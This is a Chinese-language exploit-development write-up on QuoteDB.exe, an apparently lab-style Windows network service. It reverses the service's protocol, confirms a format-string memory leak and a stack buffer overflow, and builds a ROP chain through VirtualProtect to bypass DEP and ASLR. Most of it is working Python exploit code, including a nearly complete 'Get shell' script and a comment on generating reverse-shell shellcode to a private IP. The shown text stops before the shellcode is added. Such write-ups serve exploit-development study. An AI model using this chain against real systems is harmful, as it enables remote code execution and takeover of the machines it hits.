QuoteDB.exe DEP+ASLR
0x00 初步
-
开放端口:
3700
TCP (可自定义) -
加载的模块:
-
利用防护:QuoteDB.exe
ASLR DEP
-
软件功能:FTP 服务软件
-
参考工具:TCPView (用于查看监听端口)
0x01 逆向工程
协议语法分析
在windbg中使用bp ws2_32!recv
断点tcp接收函数:
同步IDA,最大buffer size为0x4000,buffer被放置在ebp-0x4030起的栈空间处:
buffer中的第一个字节被用作操作码,并且在下列代码块的最后对比了操作码的范围从0x384 - 0x388
:
观察操作码为0n901时,输入buffer中的第二个dword被用作与一个叫做_num_quotes的全局变量做对比,_2ndDword大于_num_quotes时会复制一块内存(下图1),并且使用send发送到客户端(下图2),发送的内容是"INDEX_OU_TOF_BOUNDS"
(下图3):
图1
图2
图3
观察目标程序的输出,可以发现quote
被加载了10次:
在windbg中打印出_num_quotes,它的值为0x0a
:
在操作码为0n902时,如果_num_quotes大于0x0c,会向客户端发送一个字符串“MAX_NUM_QUOTES_REACHED“
,这说明我们的第二个dword不能大于0x0c,但我们仍不知道_num_quotes的具体含义是什么:
- 协议的语法格式如下:
Buffer偏移 | 功能 | 值 |
---|---|---|
_1stDword | opcode | 0x384 - 0x388 |
_2ndDword | quote引用 | 0 - 0x0c |
协议语义分析
我们需要知道quote
的具体含义是什么,从字面意义上它可能是一个引用。我们还需要知道每个操作码对应的每个功能。
似乎除了0x084
的操作码,其他都与quote相关:
get_quote分析
第一个参数传入了_2ndDword,第二个参数传入了使用malloc分配的内存空间指针,大小为0x800字节。get_quote返回值作为了memcpy的size参数,malloc分配的那块内存空间被传入了memcpy的源地址(src)参数,memcpy的目的地址参数为发送给客户端的sendbuffer,被用于send函数的参数:
我们现在知道了get_quote第一个参数是我们buffer中的quote值,第二个参数为一个刚分配的0x800字节的空间,接下来我们分析get_quote的具体逻辑。
如下代码块,我们传入的quote在左移0x0b位之后被用作地址索引,取到的值被用作snprintf的Format参数,经过格式化处理后的buffer存放在了刚分配的new_buffer中。(如果在quotes中取到的字符串可以由我们控制,这里会存在一个内存信息泄漏漏洞,这需要在后续的工作中验证)
add_quote分析
在调用add_quote之前,使用rep movsd复制了输入buffer 第二个dword起的0x200个字节内容到 ebp - 0x883c,并且传入到了add_quote中,这是它唯一一个参数:
函数的主要功能是使用buffer中的quote左移0x0b位后做quotes的偏移,之后使用memcpy将输入buffer复制到quotes,这意味着在get_quote中的内存信息泄漏漏洞很可能是存在的
我们将在漏洞发现阶段验证它。
update_quote分析
如下图,除了协议字段的两个dword,其余buffer被传入了update_quote的第二个参数,第一个参数传入了quote。
它的功能与add_quote类似,它将quotes中指定索引处的内存清空0x800字节后重新写入输入buffer:
delete_quote分析
它只有一个quote参数:
它的作用是循环清空每个quotes中的空间:
log_bad_request分析
在操作码大于0x388时,会调用一个log_bad_request函数,它的唯一一个参数是输入buffer:
在log_bad_requrest中,使用memset初始化了一个0x800字节的空间,它被用作memcpy的目的地址,memcpy的源地址为输入buffer,大小为0x4000,new_buffer位于ebp-0x808的位置,这意味着大于等于0x808将发生溢出,在函数返回时输入buffer会控制eip,从而控制cpu执行流。
操作码 | 功能 | 调用函数 |
---|---|---|
0x384 | 使用时间生成随机数 | _time 和 _srand |
0x385 | 根据buffer中的quote索引获得数据 | _get_quote |
0x386 | 存储数据到quote索引指定的位置 | _add_quote |
0x387 | 更新quote索引指定的内容 | _update_quote |
0x388 | 清空整个quotes | _delete_quote |
PoC:验证协议内容
#! /bin/python3
# exploit RemoteApp2.exe
import socket
import sys, os
from struct import pack
host = "192.168.31.117"
port = 3700
bufferSize = 0x3000
buffer = b""
opcode = pack("<L", 0x385) # get_quote
quote = pack("<L", 0x1)
buffer += opcode + quote
buffer += b"Z" * (bufferSize - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buffer)
recvBuffer = s.recv(1024)
print(recvBuffer)
s.close()
使用PoC确认自定义buffer能够执行到指定操作码和指定quote值:
gat_quote第一个参数为quote值,第二个参数为get_quote的输出缓冲区:
0x385的输出,即Quotes[1]的内容(Quotes[1]是伪代码):
└─$ python QuoteDB.py
b"Give a man a mask and he'll tell you the truth. - Oscar Wilde"
0x02 漏洞发现
在上一阶段,我们已经找到两个疑似的漏洞,在这阶段,我们将验证他们,分别是一个内存信息泄漏漏洞和一个栈溢出漏洞。
验证格式化字符处理函数内存信息泄漏漏洞
在逆向工程阶段我们猜测,snprintf使用了可以由我们控制的缓冲区作为Fromat参数,而当格式的引用变量并没有Format参数中指定的参数多时,它会读取到额外的内存空间内容,gat_quote函数中并没有使用引用变量参数,并且我们可以定制0x3ff8个字节的Format字符串去读取这些内存空间,并且读取到的内容会在之后通过send函数发送到客户端,可能会导致内存信息泄漏漏洞。
验证思路是:构造请求去使用update_quote将包含了大量的"%x"的字符串存储到quote为1的内存空间中,在下一个连接中使用get_quote去触发snprintf。
观察调用snprintf时的栈空间情况,若发生泄漏将可以读取到0x76026940和之后的数据:
内存泄漏概念验证代码:
#! /bin/python3
# exploit RemoteApp2.exe
import socket
import sys, os
from struct import pack
host = "192.168.31.117"
port = 3700
def getAddressBuffer():
## 构造update_quote请求buffer
bufferAdd = b""
opcode = pack("<L", 0x387) # update_quote
quote = pack("<L", 0x1)
_format = b"%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
bufferAdd += opcode + quote + _format
## 构造get_quote请求去触发内存泄漏漏洞
bufferGet = b""
opcode = pack("<L", 0x385) # get_quote
quote = pack("<L", 0x01)
bufferGet += opcode + quote
## 发送update quote请求
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(bufferAdd)
print("[+] send buffer update_quote : " + str(bufferAdd))
recvBuffer = s.recv(1024)
print(recvBuffer)
s.close()
## 发送get quote请求
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(bufferGet)
print("[+] send buffer get_quote : " + str(bufferGet))
print("")
print("[+] recv memory leak buffer :")
recvBuffer = s.recv(1024)
print(recvBuffer)
s.close()
return recvBuffer
addressBuf = getAddressBuffer()
- 存在内存泄漏漏洞:
0x7626940之后的信息被发送到客户端:
验证栈溢出漏洞
在逆向工程阶段,我们知道log_bad_requrest可能存在一个栈溢出漏洞: log_bad_requrest初始化了一个0x800字节的空间,并且调用memcpy去将新初始化的空间作为目标地址,而memcpy的size参数被硬编码为0x4000,复制的源地址空间由客户端输入的buffer控制。这将会导致0x800个字节的空间将会被覆盖,并且它的起始地址为ebp-0x808,这将会导致log_bad_request的函数返回地址被覆盖从而控制eip,进而控制cpu执行流。而log_bad_request在opcode大于0x388时触发。
漏洞存在性验证思路是:发送一个操作码大于0x388的buffer,并且buffer大小大于0x808。
栈溢出概念验证代码:
def exploit(baseAddress):
print("")
print("")
bufferSize = 0x3000
bufferOF = b""
opcode = pack("<L", 0x389)
bufferOF += opcode
bufferOF += b"Z" * (bufferSize - len(bufferOF))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(bufferOF)
print("[+] venom buffer send")
s.close()
- 存在栈溢出漏洞
eip和esp指向的空间被控制:
0x03 利用开发
有了前面的工作,我们现在可以解析得到的包含地址的buffer,并且利用这个地址去编写RoP链利用WriteProcessMemory将shellcode复制到可执行的空间从而绕过DEP和ASLR利用防护。
在编写rop之前还需要检查坏字符和eip的偏移。
EIP偏移检查
┌──(tux㉿kali)-[~/]
└─$ msf-pattern_offset -l 0x1000 -q 43387143
[*] Exact match at offset 2064
┌──(tux㉿kali)-[~/]
└─$ msf-pattern_offset -l 0x1000 -q 72433971
[*] Exact match at offset 2068
eip : 2064
esp : 2068
坏字符检查
没有任何坏字符
RoP编写
1)准备工作
在编写RoP时,我们需要一个模块为我们提供可以利用的gadgets。
在泄漏的内存中,可以找到四个内存地址,0x76026940,0x00ed173b,0x00ed18fb还有0x132ff3c和0x132ff3c,其中最后两个为栈空间地址不能为模块基地址提供信息,0x00ed173b和0x00ed18fb为QuoteDB模块地址,0x76026940为msvcrt模块的地址,该程序的利用buffer没有任何坏字符,QuoteDB和msvcrt都可以被利用。
回顾泄漏的地址信息
:
检查泄漏的地址所在的模块
:
msvcrt为MS中的模块,使用它会导致利用的不兼容性,因为不同MS windows版本之间msvcrt.dll的内容可能会不同。
但QuoteDB中的gadget无法获得esp的值,也就无法去得到调用结构的地址,也无法调用api,也就无法使用构建调用结构的方式:
└─$ cat gadgetsOfQuoteDB.txt | grep "push esp ;" | grep "pop e.. ;"
0x00409e4d: push esp ; add esp, 0x18 ; pop ebx ; ret ; (1 found)
┌──(kali㉿kali)-[~/]
└─$ cat gadgetsOfQuoteDB.txt | grep ": mov e.., esp"
┌──(kali㉿kali)-[~/]
└─$
或许可以使用pushad方式去构建调用栈,gadget中存在pushad指令,并且cli(禁止中断)是一个特权指令但并不会导致异常:
└─$ cat gadgetsOfQuoteDB.txt | grep ": pushad"
0x0040156f: pushad ; cli ; inc eax ; add cl, cl ; ret ; (1 found)
pushad
指令会按照以下顺序将寄存器中的值保存到堆栈中:
EDI
ESI
EBP
ESP
(当前 ESP 的值会被复制到堆栈中,而不是当前 ESP 的值)EBX
EDX
ECX
EAX
我们需要在esi中保存VirtualProtect的值,并且将esp的值作为lpAddress参数传递给VirtualProtect,因为我们无法通过mov或者其他指令去获得esp的值,而在解引用VirtualProtect之后没有gadget可以将解引用后的VirtualProtect调用地址传递给esi,如下表:
┌──(kali㉿kali)-[~/]
└─$ cat gadgetsOfQuoteDB.txt | grep ": mov esi, e.."
┌──(kali㉿kali)-[~/]
└─$ cat gadgetsOfQuoteDB.txt | grep ": xchg esi, e.."
┌──(kali㉿kali)-[~/]
└─$ cat gadgetsOfQuoteDB.txt | grep ": xchg e.., esi"
┌──(kali㉿kali)-[~/]
└─$ cat gadgetsOfQuoteDB.txt | grep "push e.." | grep "pop esi"
┌──(kali㉿kali)-[~/
└─$
并且在试图放弃兼容性,使用msvcrt.dll
中的型如mov e.., esp
的gadget去获得esp的值时,发现其中也没有可以获得esp值的gadget。
回想内存泄漏的buffer内容,其中似乎有两个栈空间地址,0x132ff3c和0x1327f04:
我们需要验证这两个地址是否为栈空间地址,并且还要计算它和RoP Buffer在栈中的偏移。
编写两个个函数去解析QuoteDB的基地址和这个疑似栈空间地址:
def getBaseAddressFromBuf(recvBuffer):
# 收到的内存信息是bytes中字符串形式的,需要先转换成字符串再转换成int
pattern = b" # "
_1stIndex = recvBuffer.find(pattern)
_2rdIndex = recvBuffer.find(pattern, _1stIndex + 1)
_3ndIndex = recvBuffer.find(pattern, _2rdIndex + 1)
_baseAddress = recvBuffer[_2rdIndex + 3: _3ndIndex]
if(len(_baseAddress) < 8):
null = b"0" * (8 - len(_baseAddress))
_baseAddress = null + _baseAddress
_baseAddress = _baseAddress.decode()
_baseAddress = int(_baseAddress, 16)
baseAddress = (_baseAddress - 0x173b)
print("QuoteDB base address : " + hex(baseAddress))
return baseAddress
def getStackAddressFromBuf(recvBuffer):
# 收到的内存信息是bytes中字符串形式的,需要先转换成字符串再转换成int
pattern = b" # "
_1stIndex = recvBuffer.find(pattern)
_2rdIndex = recvBuffer.find(pattern, _1stIndex + 1)
_3ndIndex = recvBuffer.find(pattern, _2rdIndex + 1)
_4thIndex = recvBuffer.find(pattern, _3ndIndex + 1)
_address = recvBuffer[_3ndIndex + 3: _4thIndex]
if(len(_address) < 8):
null = b"0" * (8 - len(_address))
_address = null + _address
_address = _address.decode()
stackAddress = int(_address, 16)
print("Stack address from recvbuffer: " + hex(stackAddress))
return stackAddress
获得泄漏的疑似栈空间地址:
在windbg中查看发现,并不是栈空间地址:
试图观察它和栈地址是否存在关联性,我们在RoP代码中将它pop到eax中用于在windbg中观察它和esp寄存器值的关联性:
def rop(baseAddress, stackAddress):
## VirtualProtect address
ropbuf = b""
#ropbuf += fixAddress(baseAddress, 0x00409e4d) # push esp ; add esp, 0x18 ; pop ebx ; ret ;
ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret ;
# 从泄漏的内存信息中提取到的栈空间地址
ropbuf += pack("<L", stackAddress)
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00402b38) # pop ecx ; ret ;
# 从泄漏的栈空间地址计算偏移得到调用结构的地址
ropbuf += pack("<L", 0x200) #
ropbuf += fixAddress(baseAddress, 0x00409b36) # add eax, ecx ; pop ebx ; ret ;
ropbuf += b"\xff" * 4
在pop eax, pop ecx; ret gadget下断点时发现它会在未到达漏洞代码时时多次触发断点,我们在add eax, ecx; pop ebx; ret;下断点,并且pop 到ecx中的值没有特定含义:
如上图,在多次实验后,发现泄漏的地址总是在esp减去0x001f77bc位置,现在我们获得了esp的值,可以继续使用QuoteDB模块去编写RoP。
2)编写RoP调用VirtualProtect
在windbg中使用!dh -i QuoteDB
检查QuoteDB的导入表,导入了VirtualAlloc和VirtualProtect两个API可以用作绕过DEP:
导入表地址数组的起始地址为0x00f131c4:
使用dds 0x00f131c4
找到VirtualProtect的导入表地址(也可以使用VirtualAlloc):
在RoP中解引用得到VirtualProtect的调用地址:
ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret ;
ropbuf += pack("<L", 0x00f1321c) # VirtualProtect import table address
ropbuf += fixAddress(baseAddress, 0x00401e6c) # mov eax, dword [eax] ; add ecx, 0x05 ; pop edx ; ret ;
ropbuf += b"\xff" * 4 # for pop edx
VirtualProtect参数:
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
下列RoP链将从泄漏的信息中取到的栈地址加上偏移得到当前esp的值,并且在当前esp值加上0x200(越过RoP buffer的空间)得到调用结构地址,并且将VirtualProtect在导入表中的指针解引用并且写入到调用结构中:
def rop(baseAddress, stackAddress):
## Write VirtualProtect address
ropbuf = b""
ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret ;
# 从泄漏的内存信息中提取到的栈空间地址
ropbuf += pack("<L", stackAddress)
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00402b38) # pop ecx ; ret ;
# 从泄漏的栈空间地址计算偏移得到调用结构的地址
# 将调用结构放置在esp+0x200位置,esp == 0x001f77bc + [stackAddress]
ropbuf += pack("<L", 0x200 + 0x001f77bc) # esp + 0x200
ropbuf += fixAddress(baseAddress, 0x00409b36) # add eax, ecx ; pop ebx ; ret ;
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret ;
ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x0044321c) # VirtualProtect import table address
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00401e6c) # mov eax, dword [eax] ; add ecx, 0x05 ; pop edx ; ret ;
ropbuf += b"\xff" * 4 # for pop edx
ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret ;
我们将ebx作为存储调用结构的指针,下列RoP链将ebx加4后重新利用泄漏的地址在调用结构的基础上加上0x30得到shellcode的地址,在API返回时将直接执行具有执行权限的shellcode。
## return address = shellcode = call_struct + 0x30
ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret ;
ropbuf += b"\xff" * 8 # for pop ebx; pop esi;
ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret ;
ropbuf += b"\xff" * 4 # for pop ebx
# 保存调用ebx
ropbuf += fixAddress(baseAddress, 0x0040a92c) # xchg eax, ebp ; ret ;
ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret ;
ropbuf += pack("<L", stackAddress)
ropbuf += b"\xff" * 4 # for pop ecx
ropbuf += fixAddress(baseAddress, 0x00402b38) # pop ecx ; ret ;
ropbuf += pack("<L", 0x200 + 0x001f77bc + 0x30) # esp + 0x200 + 0x30
ropbuf += fixAddress(baseAddress, 0x00409b36) # add eax, ecx ; pop ebx ; ret ;
ropbuf += b"\xff" * 4 # for pop ebx
# 将保存的调用结构地址取回来存放到ebx中,并且将计算好的return address存到ebp中
ropbuf += fixAddress(baseAddress, 0x0040a92c) # xchg eax, ebp ; ret ;
ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret ;
# 取回return address
ropbuf += fixAddress(baseAddress, 0x0040a92c) # xchg eax, ebp ; ret ;
ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret ;
下列RoP链构造VirtualProtect的剩下几个参数,lpAddress, dwSize, flNewProtect, 和lpflOldProtect。
lpAddress直接传入ebx的值即可,VirtualProtect将改变当前栈空间中的一个页大小(0x1000)(1k)的权限,包括了shellcode。
dwSize传入1即可表示一个页的空间,flNewProtect = 0x40表示修改后的内存权限具有读写可执行,lpflOldProtect传入了一个数据段(.data)的地址,它具有可写权限,也可以计算栈空间的一个地址传给它,但是这样会增加工作量。
## lpAddress
ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret ;
ropbuf += b"\xff" * 8
ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret ;
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret ;
# eax中保存了当前栈空间的地址, 直接写入
ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret ;
## dwSize = 1
ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret ;
ropbuf += b"\xff" * 8
ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret ;
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret ;
ropbuf += fixAddress(baseAddress, 0x00401e71) # pop edx ; ret ;
ropbuf += pack("<L", 0x1)
ropbuf += fixAddress(baseAddress, 0x00402cec) # mov eax, edx ; ret ;
ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret ;
## flNewProtect = 0x40
ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret ;
ropbuf += b"\xff" * 8
ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret ;
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret ;
ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret ;
ropbuf += pack("<L", 0x40)
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret ;
## [OUT] lpflOldProtect = Writable address
ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret ;
ropbuf += b"\xff" * 8
ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret ;
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret ;
ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x0040bfe0) # 可写的.data地址
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret ;
在windbg中使用!dh -s QuoteDB
VirtualProtect的lpflOldProtect
参数寻找一个可写的空间:
选择距离0x00edc000比较近的地址,0x00edbfe0:
最后,将ebx指向VirtualProtect调用地址并且将它赋值到esp中,执行到ret时会直接调用VirtualProtect,调用结构中的返回地址和参数都将生效。
## call VirtualProtect : esp = ebx - 0n20 (0x14)
ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret ;
ropbuf += b"\xff" * 8
ropbuf += fixAddress(baseAddress, 0x00402b38) # pop ecx ; ret ;
ropbuf += pack("<L", 0xffffffec) # -0x14
ropbuf += fixAddress(baseAddress, 0x00409b36) # add eax, ecx ; pop ebx ; ret ;
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x0040344d) # xchg eax, esp ; ret ;
0x04 Get shell PoC
#! /bin/python3
# exploit QuoteDB.py
import socket
import sys, os
from struct import pack
from struct import unpack
host = "192.168.31.117"
port = 3700
def getAddressBuffer():
bufferAdd = b""
opcode = pack("<L", 0x387) # update_quote
quote = pack("<L", 0x1)
_format = b"%x # " * 50
bufferAdd += opcode + quote + _format
bufferGet = b""
opcode = pack("<L", 0x385) # get_quote
quote = pack("<L", 0x01)
bufferGet += opcode + quote
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(bufferAdd)
print("[+] send buffer update_quote : " + str(bufferAdd))
recvBuffer = s.recv(1024)
print(recvBuffer)
s.close()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(bufferGet)
print("[+] send buffer get_quote : " + str(bufferGet))
print("")
print("[+] recv memory leak buffer :")
recvBuffer = s.recv(1024)
print(recvBuffer)
s.close()
return recvBuffer
def getBaseAddressFromBuf(recvBuffer):
# 收到的内存信息是bytes中字符串形式的,需要先转换成字符串再转换成int
pattern = b" # "
_1stIndex = recvBuffer.find(pattern)
_2rdIndex = recvBuffer.find(pattern, _1stIndex + 1)
_3ndIndex = recvBuffer.find(pattern, _2rdIndex + 1)
_baseAddress = recvBuffer[_2rdIndex + 3: _3ndIndex]
if(len(_baseAddress) < 8):
null = b"0" * (8 - len(_baseAddress))
_baseAddress = null + _baseAddress
_baseAddress = _baseAddress.decode()
_baseAddress = int(_baseAddress, 16)
baseAddress = (_baseAddress - 0x173b)
print("QuoteDB base address : " + hex(baseAddress))
return baseAddress
def getStackAddressFromBuf(recvBuffer):
# 收到的内存信息是bytes中字符串形式的,需要先转换成字符串再转换成int
pattern = b" # "
_1stIndex = recvBuffer.find(pattern)
_2rdIndex = recvBuffer.find(pattern, _1stIndex + 1)
_3ndIndex = recvBuffer.find(pattern, _2rdIndex + 1)
_4thIndex = recvBuffer.find(pattern, _3ndIndex + 1)
_address = recvBuffer[_3ndIndex + 3: _4thIndex]
if(len(_address) < 8):
null = b"0" * (8 - len(_address))
_address = null + _address
_address = _address.decode()
stackAddress = int(_address, 16)
print("Stack address from recvbuffer: " + hex(stackAddress))
return stackAddress
def fixAddress(baseAddress, fileAddress):
fileBaseAddress = 0x00400000
fileAddress = fileAddress - fileBaseAddress
address = baseAddress + fileAddress
return pack("<L", address)
def rop(baseAddress, stackAddress):
## VirtualProtect address
ropbuf = b""
ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret ;
# 从泄漏的内存信息中提取到的栈空间地址
ropbuf += pack("<L", stackAddress)
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00402b38) # pop ecx ; ret ;
# 从泄漏的栈空间地址计算偏移得到调用结构的地址
# 将调用结构放置在esp+0x200位置,esp == 0x001f77bc + [stackAddress]
ropbuf += pack("<L", 0x200 + 0x001f77bc) # esp + 0x200
ropbuf += fixAddress(baseAddress, 0x00409b36) # add eax, ecx ; pop ebx ; ret ;
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret ;
ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x0044321c) # VirtualProtect import table address
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00401e6c) # mov eax, dword [eax] ; add ecx, 0x05 ; pop edx ; ret ;
ropbuf += b"\xff" * 4 # for pop edx
ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret ;
## return address = shellcode = call_struct + 0x30
ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret ;
ropbuf += b"\xff" * 8 # for pop ebx; pop esi;
ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret ;
ropbuf += b"\xff" * 4 # for pop ebx
# 保存调用ebx
ropbuf += fixAddress(baseAddress, 0x0040a92c) # xchg eax, ebp ; ret ;
ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret ;
ropbuf += pack("<L", stackAddress)
ropbuf += b"\xff" * 4 # for pop ecx
ropbuf += fixAddress(baseAddress, 0x00402b38) # pop ecx ; ret ;
ropbuf += pack("<L", 0x200 + 0x001f77bc + 0x30) # esp + 0x200 + 0x30
ropbuf += fixAddress(baseAddress, 0x00409b36) # add eax, ecx ; pop ebx ; ret ;
ropbuf += b"\xff" * 4 # for pop ebx
# 将保存的调用结构地址取回来存放到ebx中,并且将计算好的return address存到ebp中
ropbuf += fixAddress(baseAddress, 0x0040a92c) # xchg eax, ebp ; ret ;
ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret ;
# 取回return address
ropbuf += fixAddress(baseAddress, 0x0040a92c) # xchg eax, ebp ; ret ;
ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret ;
## lpAddress
ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret ;
ropbuf += b"\xff" * 8
ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret ;
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret ;
# eax中保存了当前栈空间的地址, 直接写入
ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret ;
## dwSize = 1
ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret ;
ropbuf += b"\xff" * 8
ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret ;
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret ;
ropbuf += fixAddress(baseAddress, 0x00401e71) # pop edx ; ret ;
ropbuf += pack("<L", 0x1)
ropbuf += fixAddress(baseAddress, 0x00402cec) # mov eax, edx ; ret ;
ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret ;
## flNewProtect = 0x40
ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret ;
ropbuf += b"\xff" * 8
ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret ;
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret ;
ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret ;
ropbuf += pack("<L", 0x40)
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret ;
## [OUT] lpflOldProtect = Writable address
ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret ;
ropbuf += b"\xff" * 8
ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret ;
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret ;
ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x0040bfe0) # 可写的.data地址
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret ;
## call VirtualProtect : esp = ebx - 0n20 (0x14)
ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret ;
ropbuf += b"\xff" * 8
ropbuf += fixAddress(baseAddress, 0x00402b38) # pop ecx ; ret ;
ropbuf += pack("<L", 0xffffffec) # -0x14
ropbuf += fixAddress(baseAddress, 0x00409b36) # add eax, ecx ; pop ebx ; ret ;
ropbuf += b"\xff" * 4
ropbuf += fixAddress(baseAddress, 0x0040344d) # xchg eax, esp ; ret ;
return ropbuf
def exploit(baseAddress, stackAddress):
print("")
print("")
bufferSize = 0x3000
bufferOF = b""
opcode = pack("<L", 0x389)
bufferOF += opcode
offsetOfEIP = b"B" * 2064
ropbuf = rop(baseAddress, stackAddress)
bufferOF = offsetOfEIP + ropbuf
print("RoP buffer size : " + hex(len(ropbuf)))
# └─$ python win_x86_shellcoder.py reverse -i 192.168.31.3 -p 443
# shellcode size: 0x151 (337)
